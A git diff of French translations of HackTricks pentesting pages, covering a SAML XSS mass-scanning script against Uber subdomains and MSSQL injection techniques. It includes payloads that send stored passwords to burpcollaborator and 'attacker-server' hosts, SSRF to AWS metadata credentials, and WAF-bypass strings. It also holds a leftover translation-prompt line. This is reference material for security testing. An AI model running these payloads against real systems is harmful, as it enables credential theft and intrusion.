https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
|
@ -270,9 +272,9 @@ Le paramètre de base prend une URL, alors que diriez-vous de le remplacer par l
|
|||
|
||||
### Exploitation de masse
|
||||
|
||||
En utilisant [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) qui peut prendre une liste d'URLs et vous donner l'URL de rappel (SAML consume), j'ai décidé de nourrir l'outil avec tous les sous-domaines de `uberinternal.com` pour voir s'il y avait d'autres domaines qui utilisaient la même bibliothèque et il y en avait.
|
||||
En utilisant [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) qui peut prendre une liste d'URLs et ensuite vous renvoyer l'URL de callback (consommation SAML), j'ai décidé de nourrir l'outil avec tous les sous-domaines de `uberinternal.com` pour voir s'il y avait d'autres domaines utilisant la même bibliothèque, et c'était le cas.
|
||||
|
||||
Ensuite, j'ai créé un script qui appelle la page vulnérable `oidauth/prompt` et essaie la XSS et si mon entrée est reflétée, cela me donne un message vulnérable agréable.
|
||||
Ce que j'ai fait ensuite, c'était de créer un script qui appelle la page vulnérable `oidauth/prompt` et essaie la XSS et si ma saisie est reflétée, il me donne un joli message indiquant une vulnérabilité.
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
|
@ -281,28 +283,30 @@ from colorama import init ,Fore, Back, Style
|
|||
init()
|
||||
|
||||
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
||||
for url in urlList:
|
||||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||||
doesit = Fore.RED + "no"
|
||||
if ("Fady" in request.content):
|
||||
doesit = Fore.GREEN + "yes"
|
||||
print(Fore.WHITE + url2)
|
||||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||||
for url in urlList:
|
||||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||||
doesit = Fore.RED + "no"
|
||||
if ("Fady" in request.content):
|
||||
doesit = Fore.GREEN + "yes"
|
||||
print(Fore.WHITE + url2)
|
||||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||||
```
|
||||
## Références
|
||||
|
||||
Les attaques ont été obtenues à partir de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
Vous pouvez trouver des ressources supplémentaires et des write-ups sur [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
Vous pouvez trouver des ressources supplémentaires et des comptes-rendus dans [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,24 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Énumération de l'Active Directory
|
||||
|
||||
Il est possible de **dénombrer les utilisateurs de domaine via une injection SQL dans un serveur MSSQL** en utilisant les fonctions MSSQL suivantes :
|
||||
Il peut être possible de **énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL** en utilisant les fonctions MSSQL suivantes :
|
||||
|
||||
* **`SELECT DEFAULT_DOMAIN()`** : Obtenez le nom de domaine actuel.
|
||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction renverra le **SID de l'utilisateur Administrator** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** au format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\
|
||||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`** : Si vous connaissez le nom du domaine (_DOMAIN_ dans cet exemple), cette fonction retournera le **SID de l'utilisateur Administrateur** au format hexadécimal. Cela ressemblera à `0x01050000000[...]0000f401`, notez comment les **4 derniers octets** sont le nombre **500** au format **big endian**, qui est l'**ID commun de l'utilisateur administrateur**.\
|
||||
Cette fonction vous permettra de **connaître l'ID du domaine** (tous les octets sauf les 4 derniers).
|
||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction renverra le **nom d'utilisateur de l'ID indiqué** (le cas échéant), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez effectuer une attaque par force brute sur les ID d'utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple, en utilisant une fonction comme celle-ci :
|
||||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Cette fonction retournera le **nom d'utilisateur de l'ID indiqué** (s'il y en a un), dans ce cas **0000e803** en big endian == **1000** (généralement c'est l'ID du premier ID d'utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez forcer brutalement les ID d'utilisateurs de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme la suivante :
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
|
@ -27,9 +29,9 @@ user = struct.pack('<I', int(n))
|
|||
user = user.hex()
|
||||
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||||
```
|
||||
## **Vecteurs basés sur les erreurs alternatifs**
|
||||
## **Vecteurs alternatifs basés sur les erreurs**
|
||||
|
||||
Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que `+AND+1=@@version--` et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les pare-feu applicatifs Web (WAF). Pour les contourner, concaténez une chaîne à l'aide du caractère %2b avec le résultat d'appels de fonctions spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.
|
||||
Les injections SQL basées sur les erreurs ressemblent typiquement à des constructions telles que `+AND+1=@@version--` et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAFs. Pour contourner cela, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonctions spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.
|
||||
|
||||
Voici quelques exemples de telles fonctions :
|
||||
|
||||
|
@ -45,27 +47,15 @@ Exemple d'utilisation de la fonction `USER_NAME()`:
|
|||
```
|
||||
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
|
||||
|
||||
## SSRF
|
||||
|
||||
### `fn_xe_file_target_read_file`
|
||||
|
||||
La fonction `fn_xe_file_target_read_file` est utilisée pour lire le contenu d'un fichier cible dans une base de données Microsoft SQL Server. Cette fonction peut être exploitée pour effectuer une injection SQL dans une application web vulnérable.
|
||||
|
||||
L'injection SQL est une technique d'attaque qui permet à un attaquant d'injecter du code SQL malveillant dans une requête SQL. Lorsque cette injection est réussie, l'attaquant peut exécuter des commandes SQL non autorisées et potentiellement compromettre la base de données.
|
||||
|
||||
Dans le cas de la fonction `fn_xe_file_target_read_file`, l'attaque SSRF (Server-Side Request Forgery) peut être utilisée pour exploiter cette vulnérabilité. L'attaque SSRF consiste à forcer le serveur à effectuer des requêtes vers des ressources internes ou externes non autorisées.
|
||||
|
||||
Pour exploiter cette vulnérabilité, l'attaquant peut utiliser une injection SQL pour modifier le chemin du fichier cible et lire des fichiers sensibles sur le serveur. Par exemple, l'attaquant peut lire des fichiers contenant des informations confidentielles telles que des mots de passe, des clés d'API ou des données sensibles.
|
||||
|
||||
Il est important de noter que l'exploitation de cette vulnérabilité nécessite une connaissance approfondie de l'injection SQL et de la fonction `fn_xe_file_target_read_file`. Les développeurs doivent mettre en place des mesures de sécurité appropriées pour prévenir les attaques SSRF et les injections SQL, telles que la validation stricte des entrées utilisateur et l'utilisation de requêtes paramétrées.
|
||||
```
|
||||
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
|
||||
|
||||
**Permissions:** Nécessite l'autorisation **`VIEW SERVER STATE`** sur le serveur.
|
||||
**Permissions :** Nécessite la permission **`VIEW SERVER STATE`** sur le serveur.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||||
|
@ -74,14 +64,12 @@ Use master;
|
|||
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
||||
```
|
||||
### `fn_get_audit_file`
|
||||
|
||||
La fonction `fn_get_audit_file` est une fonction spécifique à Microsoft SQL Server qui permet de récupérer un fichier d'audit. Cette fonction peut être utilisée pour extraire des informations sensibles ou confidentielles à partir de la base de données. Elle peut être exploitée lors d'une attaque par injection SQL pour obtenir des données non autorisées. Il est important de sécuriser cette fonction en appliquant des mesures de protection appropriées pour éviter toute exploitation malveillante.
|
||||
```
|
||||
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
|
||||
|
||||
**Permissions:** Nécessite l'autorisation **`CONTROL SERVER`**.
|
||||
**Permissions :** Nécessite la permission **`CONTROL SERVER`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
||||
|
@ -89,15 +77,13 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
|
|||
Use master;
|
||||
EXEC sp_helprotect 'fn_get_audit_file';
|
||||
```
|
||||
### `fn_trace_gettabe`
|
||||
|
||||
La fonction `fn_trace_gettabe` est une fonction intégrée de Microsoft SQL Server qui permet de récupérer les informations de suivi d'une table de trace. Cette fonction est souvent utilisée dans le contexte de l'injection SQL pour obtenir des informations sensibles à partir de la base de données cible.
|
||||
### `fn_trace_gettable`
|
||||
```
|
||||
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
|
||||
|
||||
**Permissions:** Nécessite l'autorisation **`CONTROL SERVER`**.
|
||||
**Permissions :** Nécessite la permission **`CONTROL SERVER`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
||||
|
@ -107,7 +93,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
|||
```
|
||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||
|
||||
La méthode la plus courante pour effectuer un appel réseau que vous rencontrerez avec MSSQL est l'utilisation de la procédure stockée `xp_dirtree`, qui est curieusement non documentée par Microsoft, ce qui a conduit à sa [documentation par d'autres personnes sur Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Cette méthode a été utilisée dans [plusieurs exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de publications sur l'exfiltration de données hors bande ([Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)) sur Internet.
|
||||
La méthode la plus courante pour effectuer un appel réseau que vous rencontrerez en utilisant MSSQL est l'utilisation de la Procédure Stockée `xp_dirtree`, qui est curieusement non documentée par Microsoft, ce qui a conduit à ce qu'elle soit [documentée par d'autres personnes sur Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Cette méthode a été utilisée dans [plusieurs exemples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de billets sur l'[exfiltration de données hors bande](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sur Internet.
|
||||
|
||||
Essentiellement,
|
||||
```sql
|
||||
|
@ -115,27 +101,27 @@ DECLARE @user varchar(100);
|
|||
SELECT @user = (SELECT user);
|
||||
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
|
||||
```
|
||||
Tout comme `LOAD_FILE` de MySQL, vous pouvez utiliser `xp_dirtree` pour effectuer une requête réseau vers **uniquement le port TCP 445**. Vous ne pouvez pas contrôler le numéro de port, mais vous pouvez lire des informations à partir de partages réseau.
|
||||
Comme la fonction `LOAD_FILE` de MySQL, vous pouvez utiliser `xp_dirtree` pour effectuer une requête réseau **uniquement sur le port TCP 445**. Vous ne pouvez pas contrôler le numéro de port, mais pouvez lire des informations depuis des partages réseau.
|
||||
|
||||
**PS:** Cela ne fonctionne pas sur `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` exécuté sur un `Windows Server 2016 Datacenter` dans la configuration par défaut.
|
||||
**PS :** Cela ne fonctionne pas sur `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` installé sur un `Windows Server 2016 Datacenter` dans la configuration par défaut.
|
||||
|
||||
Il existe **d'autres** procédures stockées \*\*\*\* [**comme `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ou **`xp_subdirs`** qui peuvent être utilisées pour des résultats similaires.
|
||||
Il existe **d'autres** procédures stockées *** [**comme `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) ou **`xp_subdirs`** qui peuvent être utilisées pour des résultats similaires.
|
||||
|
||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||
|
||||
Évidemment, vous pouvez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche une **SSRF**. Pour plus d'informations, **lisez la section pertinente** sur la page :
|
||||
Évidemment, vous pourriez également utiliser **`xp_cmdshell`** pour **exécuter** quelque chose qui déclenche un **SSRF**. Pour plus d'informations, **lisez la section pertinente** de la page :
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Fonction définie par l'utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### MSSQL Fonction Définie par l'Utilisateur - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Il est assez simple d'écrire une **UDF CLR** (User Defined Function Common Language Runtime - code écrit avec l'un des langages **.NET** et compilé en tant que **DLL**) et de la **charger dans MSSQL pour des fonctions personnalisées**. Cependant, cela **nécessite un accès `dbo`** et peut ne pas fonctionner à moins que la connexion de l'application Web à la base de données ne soit **en tant que `sa` ou en tant qu'administrateur**.
|
||||
Il est assez simple d'écrire une **CLR UDF** (Fonction Définie par l'Utilisateur en Common Language Runtime - code écrit avec l'un des langages **.NET** et compilé en **DLL**) et de **la charger dans MSSQL pour des fonctions personnalisées**. Cela nécessite cependant un accès `dbo`, donc cela peut ne pas fonctionner à moins que l'application web ne se connecte à la base de données **en tant que `sa` ou avec un rôle d'Administrateur**.
|
||||
|
||||
[Ce dépôt Github contient le projet Visual Studio et les instructions d'installation](https://github.com/infiniteloopltd/SQLHttp) pour charger le binaire dans MSSQL en tant qu'assembly CLR, puis invoquer des requêtes GET HTTP depuis MSSQL.
|
||||
[Ce dépôt Github contient le projet Visual Studio et les instructions d'installation](https://github.com/infiniteloopltd/SQLHttp) pour charger le binaire dans MSSQL en tant qu'assemblage CLR, puis invoquer des requêtes HTTP GET depuis MSSQL.
|
||||
|
||||
Le code `http.cs` utilise la classe `WebClient` pour effectuer une requête GET et récupérer le contenu spécifié.
|
||||
Le code `http.cs` utilise la classe `WebClient` pour effectuer une requête GET et récupérer le contenu comme spécifié
|
||||
```csharp
|
||||
using System.Data.SqlTypes;
|
||||
using System.Net;
|
||||
|
@ -151,72 +137,76 @@ return new SqlString (html);
|
|||
}
|
||||
}
|
||||
```
|
||||
Dans les instructions d'installation, exécutez ce qui suit avant la requête `CREATE ASSEMBLY` pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance sur le serveur (vous pouvez voir la liste en utilisant `select * from sys.trusted_assemblies;`)
|
||||
Dans les instructions d'installation, exécutez ce qui suit avant la requête `CREATE ASSEMBLY` pour ajouter le hachage SHA512 de l'assemblée à la liste des assemblées de confiance sur le serveur (vous pouvez voir la liste en utilisant `select * from sys.trusted_assemblies;`)
|
||||
```sql
|
||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||
```
|
||||
Une fois que l'assemblage est ajouté et que la fonction est créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP.
|
||||
Une fois l'assemblage ajouté et la fonction créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP
|
||||
```sql
|
||||
DECLARE @url varchar(max);
|
||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||
SELECT dbo.http(@url);
|
||||
```
|
||||
## **Exploitation rapide: Récupérer une table entière en une seule requête**
|
||||
## **Exploitation rapide : Extraire une table entière en une seule requête**
|
||||
|
||||
Il existe deux façons simples de récupérer l'intégralité du contenu d'une table en une seule requête - l'utilisation de la clause FOR XML ou FOR JSON. La clause FOR XML nécessite un mode spécifié tel que «raw», donc en termes de brièveté, FOR JSON est plus performant.
|
||||
Il existe deux méthodes simples pour extraire le contenu complet d'une table en une seule requête — l'utilisation de la clause FOR XML ou de la clause FOR JSON. La clause FOR XML nécessite un mode spécifié tel que « raw », donc en termes de concision, FOR JSON est plus performant.
|
||||
|
||||
La requête pour récupérer le schéma, les tables et les colonnes de la base de données actuelle:
|
||||
La requête pour extraire le schéma, les tables et les colonnes de la base de données actuelle :
|
||||
```
|
||||
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
||||
```
|
||||
```markdown
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
|
||||
|
||||
Les vecteurs basés sur les erreurs nécessitent un alias ou un nom, car la sortie des expressions sans l'un ou l'autre ne peut pas être formatée en JSON.
|
||||
```
|
||||
```
|
||||
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
||||
```
|
||||
```markdown
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
|
||||
|
||||
## **Récupération de la requête actuelle**
|
||||
|
||||
La requête SQL actuellement en cours d'exécution peut être récupérée à partir de l'accès `sys.dm_exec_requests` et `sys.dm_exec_sql_text`:
|
||||
La requête SQL actuellement exécutée peut être récupérée en accédant à `sys.dm_exec_requests` et `sys.dm_exec_sql_text` :
|
||||
```
|
||||
```
|
||||
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
|
||||
|
||||
**Permissions:** Si l'utilisateur dispose de l'autorisation VIEW SERVER STATE sur le serveur, il pourra voir toutes les sessions en cours sur l'instance de SQL Server ; sinon, il ne verra que la session actuelle.
|
||||
**Permissions :** Si l'utilisateur dispose de la permission VIEW SERVER STATE sur le serveur, il verra toutes les sessions en cours d'exécution sur l'instance de SQL Server ; sinon, l'utilisateur ne verra que la session actuelle.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||||
```
|
||||
## **Petits astuces pour contourner les WAF**
|
||||
## **Petites astuces pour contourner les WAF**
|
||||
|
||||
Caractères d'espacement non standard : %C2%85 ou %C2%A0:
|
||||
Caractères d'espacement non standard : %C2%85 ou %C2%A0 :
|
||||
```
|
||||
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
||||
```
|
||||
Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de l'UNION:
|
||||
Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de UNION :
|
||||
```
|
||||
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
||||
|
||||
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
||||
```
|
||||
Un point au lieu d'un espace entre FROM et le nom de la colonne :
|
||||
Un point au lieu d'un espace blanc entre FROM et le nom d'une colonne :
|
||||
```
|
||||
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
||||
```
|
||||
\N séparateur entre SELECT et une colonne jetable :
|
||||
Séparateur \N entre SELECT et une colonne sans importance :
|
||||
```
|
||||
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
||||
```
|
||||
### Contournement du WAF avec des requêtes imbriquées non conventionnelles
|
||||
### Contournement de WAF avec des requêtes empilées non orthodoxes
|
||||
|
||||
Selon [**cet article de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), il est possible d'imbriquer des requêtes dans MSSQL sans utiliser ";":
|
||||
Selon [**ce billet de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/), il est possible d'empiler des requêtes dans MSSQL sans utiliser ";":
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ainsi, par exemple, plusieurs requêtes telles que:
|
||||
Donc, par exemple, plusieurs requêtes telles que :
|
||||
```sql
|
||||
use [tempdb]
|
||||
create table [test] ([id] int)
|
||||
|
@ -224,11 +214,11 @@ insert [test] values(1)
|
|||
select [id] from [test]
|
||||
drop table[test]
|
||||
```
|
||||
Le contenu suivant est extrait d'un livre sur les techniques de piratage. Le contenu suivant provient du fichier pentesting-web/sql-injection/mssql-injection.md. Traduisez le texte anglais pertinent en français et renvoyez la traduction en conservant exactement la même syntaxe markdown et html. Ne traduisez pas les éléments tels que le code, les noms de techniques de piratage, les mots de piratage, les noms de plateformes cloud/SaaS (comme Workspace, aws, gcp...), le mot "leak", pentesting et les balises markdown. N'ajoutez pas non plus d'éléments supplémentaires en dehors de la traduction et de la syntaxe markdown.
|
||||
Peut être réduit à :
|
